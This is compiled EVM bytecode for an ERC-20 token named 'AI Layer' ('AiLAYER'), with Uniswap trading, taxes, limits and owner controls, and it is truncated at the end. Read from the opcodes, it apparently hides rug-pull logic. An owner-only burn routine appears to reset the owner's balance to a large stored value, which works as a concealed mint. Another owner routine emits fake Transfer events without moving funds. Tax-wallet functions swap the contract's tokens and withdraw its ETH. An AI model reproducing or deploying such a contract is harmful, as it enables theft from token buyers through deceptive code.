60a06040526a52b7d2dcc80cd2e4000000600655620000236200040f60201b60201c565b600a62000031919062000a7b565b633b9aca0062000042919062000acb565b600e55620000556200040f60201b60201c565b600a62000063919062000a7b565b6501d1a94a200062000076919062000acb565b600f55620000896200040f60201b60201c565b600a62000097919062000a7b565b64e8d4a51000620000a9919062000acb565b601055620000bc6200040f60201b60201c565b600a620000ca919062000a7b565b6501d1a94a2000620000dd919062000acb565b6011555f6012555f6013555f60145f6101000a81548160ff0219169083151502179055505f601460016101000a81548160ff02191690831515021790555034801562000127575f80fd5b50604051620053083803806200530883398181016040528101906200014d919062000b7a565b806040518060400160405280600881526020017f4149204c617965720000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f41694c41594552000000000000000000000000000000000000000000000000008152508160049081620001cb919062000e05565b508060059081620001dd919062000e05565b5050508060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000240620002346200041760201b60201c565b6200041e60201b60201c565b50737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505080600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600654600781905550620002e26200041760201b60201c565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200034162000335620004e160201b60201c565b6200050960201b60201c565b62000352306200050960201b60201c565b62000363816200050960201b60201c565b6200037661dead6200050960201b60201c565b620003986200038a620004e160201b60201c565b6001620005c060201b60201c565b620003ab306001620005c060201b60201c565b620003be816001620005c060201b60201c565b620003d361dead6001620005c060201b60201c565b62000408600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e546200062860201b60201c565b5062001072565b5f6009905090565b5f33905090565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005196200078d60201b60201c565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb5f604051620005b5919062000f05565b60405180910390a250565b620005d06200078d60201b60201c565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006909062000f7e565b60405180910390fd5b620006ac5f83836200081e60201b60201c565b8060035f828254620006bf919062000f9e565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200076e919062000fe9565b60405180910390a3620007895f83836200082360201b60201c565b5050565b6200079d6200041760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620007c36200082860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200081c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008139062001052565b60405180910390fd5b565b505050565b505050565b5f806200083a6200084360201b60201c565b90508091505090565b5f8073ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008c15760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620008e4565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000973578086048111156200094b576200094a620008e9565b5b60018516156200095b5780820291505b80810290506200096b8562000916565b94506200092b565b94509492505050565b5f826200098d576001905062000a5f565b816200099c575f905062000a5f565b8160018114620009b55760028114620009c057620009f6565b600191505062000a5f565b60ff841115620009d557620009d4620008e9565b5b8360020a915084821115620009ef57620009ee620008e9565b5b5062000a5f565b5060208310610133831016604e8410600b841016171562000a305782820a90508381111562000a2a5762000a29620008e9565b5b62000a5f565b62000a3f848484600162000922565b9250905081840481111562000a595762000a58620008e9565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000a878262000a66565b915062000a948362000a6f565b925062000ac37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200097c565b905092915050565b5f62000ad78262000a66565b915062000ae48362000a66565b925082820262000af48162000a66565b9150828204841483151762000b0e5762000b0d620008e9565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000b448262000b19565b9050919050565b62000b568162000b38565b811462000b61575f80fd5b50565b5f8151905062000b748162000b4b565b92915050565b5f6020828403121562000b925762000b9162000b15565b5b5f62000ba18482850162000b64565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000c2657607f821691505b60208210810362000c3c5762000c3b62000be1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000ca07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c63565b62000cac868362000c63565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000ced62000ce762000ce18462000a66565b62000cc4565b62000a66565b9050919050565b5f819050919050565b62000d088362000ccd565b62000d2062000d178262000cf4565b84845462000c6f565b825550505050565b5f90565b62000d3662000d28565b62000d4381848462000cfd565b505050565b5b8181101562000d6a5762000d5e5f8262000d2c565b60018101905062000d49565b5050565b601f82111562000db95762000d838162000c42565b62000d8e8462000c54565b8101602085101562000d9e578190505b62000db662000dad8562000c54565b83018262000d48565b50505b505050565b5f82821c905092915050565b5f62000ddb5f198460080262000dbe565b1980831691505092915050565b5f62000df5838362000dca565b9150826002028217905092915050565b62000e108262000baa565b67ffffffffffffffff81111562000e2c5762000e2b62000bb4565b5b62000e38825462000c0e565b62000e4582828562000d6e565b5f60209050601f83116001811462000e7b575f841562000e66578287015190505b62000e72858262000de8565b86555062000ee1565b601f19841662000e8b8662000c42565b5f5b8281101562000eb45784890151825560018201915060208501945060208101905062000e8d565b8683101562000ed4578489015162000ed0601f89168262000dca565b8355505b6001600288020188555050505b505050505050565b5f8115159050919050565b62000eff8162000ee9565b82525050565b5f60208201905062000f1a5f83018462000ef4565b92915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000f66601f8362000f20565b915062000f738262000f30565b602082019050919050565b5f6020820190508181035f83015262000f978162000f58565b9050919050565b5f62000faa8262000a66565b915062000fb78362000a66565b925082820190508082111562000fd25762000fd1620008e9565b5b92915050565b62000fe38162000a66565b82525050565b5f60208201905062000ffe5f83018462000fd8565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6200103a60208362000f20565b9150620010478262001004565b602082019050919050565b5f6020820190508181035f8301526200106b816200102c565b9050919050565b608051614268620010a05f395f8181610cf80152818161239b0152818161247a01526124a101526142685ff3fe608060405260043610610233575f3560e01c80637d16a7211161012d578063c8c8ebe4116100aa578063e2f456051161006e578063e2f45605146107d8578063e57f14e114610802578063f2fde38b1461082a578063f8b45b0514610852578063ffb54a991461087c5761023a565b8063c8c8ebe414610708578063c9567bf914610732578063cf9522fd14610748578063dd62ed3e14610772578063dd854652146107ae5761023a565b8063a457c2d7116100f1578063a457c2d714610618578063a9059cbb14610654578063afa4f3b214610690578063b18834aa146106b8578063c2b7bbb6146106e05761023a565b80637d16a7211461057057806389291a8f146105865780638da5cb5b1461059c57806395d89b41146105c65780639a7a23d6146105f05761023a565b80633be6e637116101bb57806370a082311161017f57806370a08231146104b8578063715018a6146104f4578063751039fc1461050a5780637571336a146105205780637963e1d2146105485761023a565b80633be6e637146103d857806342966c68146104005780634fbee19314610428578063583e0568146104645780636ddd17131461048e5761023a565b806323b872dd1161020257806323b872dd146102e4578063311028af14610320578063313ce5671461034a578063338d466914610374578063395093511461039c5761023a565b806306fdde031461023e578063095ea7b3146102685780630f054c06146102a457806318160ddd146102ba5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b506102526108a6565b60405161025f9190612bee565b60405180910390f35b348015610273575f80fd5b5061028e60048036038101906102899190612cac565b610936565b60405161029b9190612d04565b60405180910390f35b3480156102af575f80fd5b506102b8610958565b005b3480156102c5575f80fd5b506102ce610aa1565b6040516102db9190612d2c565b60405180910390f35b3480156102ef575f80fd5b5061030a60048036038101906103059190612d45565b610aaa565b6040516103179190612d04565b60405180910390f35b34801561032b575f80fd5b50610334610ad8565b6040516103419190612d2c565b60405180910390f35b348015610355575f80fd5b5061035e610ade565b60405161036b9190612db0565b60405180910390f35b34801561037f575f80fd5b5061039a60048036038101906103959190612f33565b610ae6565b005b3480156103a7575f80fd5b506103c260048036038101906103bd9190612cac565b610be7565b6040516103cf9190612d04565b60405180910390f35b3480156103e3575f80fd5b506103fe60048036038101906103f99190612f8d565b610c1d565b005b34801561040b575f80fd5b5061042660048036038101906104219190612fcb565b610c88565b005b348015610433575f80fd5b5061044e60048036038101906104499190612ff6565b610ca4565b60405161045b9190612d04565b60405180910390f35b34801561046f575f80fd5b50610478610cf6565b604051610485919061307c565b60405180910390f35b348015610499575f80fd5b506104a2610d1a565b6040516104af9190612d04565b60405180910390f35b3480156104c3575f80fd5b506104de60048036038101906104d99190612ff6565b610d2c565b6040516104eb9190612d2c565b60405180910390f35b3480156104ff575f80fd5b50610508610d71565b005b348015610515575f80fd5b5061051e610d84565b005b34801561052b575f80fd5b5061054660048036038101906105419190613095565b610da8565b005b348015610553575f80fd5b5061056e60048036038101906105699190612fcb565b610e08565b005b34801561057b575f80fd5b50610584610f08565b005b348015610591575f80fd5b5061059a610f2c565b005b3480156105a7575f80fd5b506105b0610fbc565b6040516105bd91906130e2565b60405180910390f35b3480156105d1575f80fd5b506105da610fe4565b6040516105e79190612bee565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190613095565b611074565b005b348015610623575f80fd5b5061063e60048036038101906106399190612cac565b611119565b60405161064b9190612d04565b60405180910390f35b34801561065f575f80fd5b5061067a60048036038101906106759190612cac565b61118e565b6040516106879190612d04565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190612fcb565b6111b0565b005b3480156106c3575f80fd5b506106de60048036038101906106d99190613154565b6111e0565b005b3480156106eb575f80fd5b5061070660048036038101906107019190612ff6565b6112bb565b005b348015610713575f80fd5b5061071c611306565b6040516107299190612d2c565b60405180910390f35b34801561073d575f80fd5b5061074661130c565b005b348015610753575f80fd5b5061075c611331565b6040516107699190612d2c565b60405180910390f35b34801561077d575f80fd5b50610798600480360381019061079391906131b1565b611337565b6040516107a59190612d2c565b60405180910390f35b3480156107b9575f80fd5b506107c26113b9565b6040516107cf9190612d2c565b60405180910390f35b3480156107e3575f80fd5b506107ec6113bf565b6040516107f99190612d2c565b60405180910390f35b34801561080d575f80fd5b5061082860048036038101906108239190612ff6565b6113c5565b005b348015610835575f80fd5b50610850600480360381019061084b9190612ff6565b611472565b005b34801561085d575f80fd5b506108666114f4565b6040516108739190612d2c565b60405180910390f35b348015610887575f80fd5b506108906114fa565b60405161089d9190612d04565b60405180910390f35b6060600480546108b59061321c565b80601f01602080910402602001604051908101604052809291908181526020018280546108e19061321c565b801561092c5780601f106109035761010080835404028352916020019161092c565b820191905f5260205f20905b81548152906001019060200180831161090f57829003601f168201915b5050505050905090565b5f8061094061150d565b905061094d818585611514565b600191505092915050565b6109606116d7565b5f3090505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161099e91906130e2565b602060405180830381865afa1580156109b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109dd9190613260565b90505f8111610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a18906132d5565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a5c9291906132f3565b6020604051808303815f875af1158015610a78573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9c919061332e565b505050565b5f600354905090565b5f80610ab461150d565b9050610ac1858285611755565b610acc8585856117e0565b60019150509392505050565b600e5481565b5f6009905090565b610aee6116d7565b5f5b8251811015610be2578160015f858481518110610b1057610b0f613359565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550828181518110610b7a57610b79613359565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610bc79190612d04565b60405180910390a28080610bda906133b3565b915050610af0565b505050565b5f80610bf161150d565b9050610c12818585610c038589611337565b610c0d91906133fa565b611514565b600191505092915050565b610c256116d7565b60148211158015610c37575060328111155b610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90613477565b60405180910390fd5b81601381905550806012819055505050565b610c906116d7565b610ca1610c9b61150d565b8261206f565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60145f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d796116d7565b610d825f61223b565b565b610d8c6116d7565b5f610d95610aa1565b905080600f819055508060118190555050565b610db06116d7565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4861150d565b73ffffffffffffffffffffffffffffffffffffffff1614610e67575f80fd5b5f610e70610aa1565b90505f610e7c30610d2c565b90505f60648403610e8f57819050610eb6565b60648484610e9d9190613495565b610ea79190613503565b905081811115610eb5578190505b5b81811115610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906135a3565b60405180910390fd5b610f02816122fe565b50505050565b610f106116d7565b600160145f6101000a81548160ff021916908315150217905550565b610f346116d7565b5f4711610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d9061360b565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fb9573d5f803e3d5ffd5b50565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ff39061321c565b80601f016020809104026020016040519081016040528092919081815260200182805461101f9061321c565b801561106a5780601f106110415761010080835404028352916020019161106a565b820191905f5260205f20905b81548152906001019060200180831161104d57829003601f168201915b5050505050905090565b61107c6116d7565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290613699565b60405180910390fd5b6111158282612552565b5050565b5f8061112361150d565b90505f6111308286611337565b905083811015611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90613727565b60405180910390fd5b6111828286868403611514565b60019250505092915050565b5f8061119861150d565b90506111a58185856117e0565b600191505092915050565b6111b86116d7565b6111c0610ade565b600a6111cc9190613874565b816111d79190613495565b60108190555050565b6111e86116d7565b5f5b838390508110156112b55783838281811061120857611207613359565b5b905060200201602081019061121d9190612ff6565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129a9190612d2c565b60405180910390a380806112ad906133b3565b9150506111ea565b50505050565b6112c36116d7565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6113146116d7565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60135481565b60105481565b6113cd6116d7565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb5f6040516114679190612d04565b60405180910390a250565b61147a6116d7565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df9061392e565b60405180910390fd5b6114f18161223b565b50565b60115481565b601460019054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611582576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611579906139bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790613a4a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ca9190612d2c565b60405180910390a3505050565b6116df61150d565b73ffffffffffffffffffffffffffffffffffffffff166116fd6125f0565b73ffffffffffffffffffffffffffffffffffffffff1614611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a90613ab2565b60405180910390fd5b565b5f6117608484611337565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117da57818110156117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c390613b1a565b60405180910390fd5b6117d98484848403611514565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361184e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184590613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390613c36565b60405180910390fd5b5f81036118d3576118ce83835f612603565b61206a565b6118db610fbc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119495750611919610fbc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198157505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119bb575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d45750600d60149054906101000a900460ff16155b15611d3857601460019054906101000a900460ff16611ac85760015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611a88575060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abe90613c9e565b60405180910390fd5b5b43600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ba7575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c4e57600f54811115611bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be890613d2c565b60405180910390fd5b601154611bfd83610d2c565b82611c0891906133fa565b1115611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4090613d94565b60405180910390fd5b611d37565b60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ceb575060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d3657600f54811115611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90613e22565b60405180910390fd5b5b5b5b5f611d4230610d2c565b90505f8082119050808015611d62575060145f9054906101000a900460ff165b8015611d7b5750600d60149054906101000a900460ff16155b8015611dce575060155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e21575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e74575060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611eb8576001600d60146101000a81548160ff021916908315150217905550611e9d8361286f565b5f600d60146101000a81548160ff0219169083151502179055505b611ec185610ca4565b15611ed057611ecf856129f9565b5b5f600d60149054906101000a900460ff16905060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f7e575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f87575f90505b5f811561205a5760155f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561200c576120056064611ff760125488612a8190919063ffffffff16565b612a9690919063ffffffff16565b9050612037565b612034606461202660135488612a8190919063ffffffff16565b612a9690919063ffffffff16565b90505b5f81111561204b5761204a873083612603565b5b80856120579190613e40565b94505b612065878787612603565b505050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613ee3565b60405180910390fd5b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215790613f71565b60405180910390fd5b8160075461216e9190613e40565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160035f8282546121bf9190613e40565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122239190612d2c565b60405180910390a3612236835f84612aab565b505050565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff81111561231a57612319612dcd565b5b6040519080825280602002602001820160405280156123485781602001602082028036833780820191505090505b50905030815f8151811061235f5761235e613359565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612402573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124269190613fa3565b8160018151811061243a57612439613359565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061249f307f000000000000000000000000000000000000000000000000000000000000000084611514565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f84600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016125219594939291906140be565b5f604051808303815f87803b158015612538575f80fd5b505af115801561254a573d5f803e3d5ffd5b505050505050565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f806125fa612ab0565b90508091505090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266890613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690613c36565b60405180910390fd5b6126ea838383612b54565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561276d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276490614186565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128569190612d2c565b60405180910390a3612869848484612aab565b50505050565b5f61287930610d2c565b90505f80820361288a5750506129f6565b5f60125460135461289b91906133fa565b03612915575f821180156128b0575060105482105b156128bd57819050612910565b5f6128e660646128d860125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846128f49190613e40565b935060105484111561290a57601054915061290e565b8391505b505b6129ea565b5f8211801561293857506129356005601054612a9690919063ffffffff16565b82105b156129445750506129f6565b5f8211801561296757506129646005601054612a9690919063ffffffff16565b82115b8015612974575060105482105b156129965761298f6005601054612a9690919063ffffffff16565b90506129e9565b5f6129bf60646129b160125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846129cd9190613e40565b93506010548411156129e35760105491506129e7565b8391505b505b5b6129f3816122fe565b50505b50565b612a3f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612b59565b612a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7590614214565b60405180910390fd5b50565b5f8183612a8e9190613495565b905092915050565b5f8183612aa39190613503565b905092915050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b2c5760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b4f565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b5f4382119050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612b9b578082015181840152602081019050612b80565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612bc082612b64565b612bca8185612b6e565b9350612bda818560208601612b7e565b612be381612ba6565b840191505092915050565b5f6020820190508181035f830152612c068184612bb6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612c4882612c1f565b9050919050565b612c5881612c3e565b8114612c62575f80fd5b50565b5f81359050612c7381612c4f565b92915050565b5f819050919050565b612c8b81612c79565b8114612c95575f80fd5b50565b5f81359050612ca681612c82565b92915050565b5f8060408385031215612cc257612cc1612c17565b5b5f612ccf85828601612c65565b9250506020612ce085828601612c98565b9150509250929050565b5f8115159050919050565b612cfe81612cea565b82525050565b5f602082019050612d175f830184612cf5565b92915050565b612d2681612c79565b82525050565b5f602082019050612d3f5f830184612d1d565b92915050565b5f805f60608486031215612d5c57612d5b612c17565b5b5f612d6986828701612c65565b9350506020612d7a86828701612c65565b9250506040612d8b86828701612c98565b9150509250925092565b5f60ff82169050919050565b612daa81612d95565b82525050565b5f602082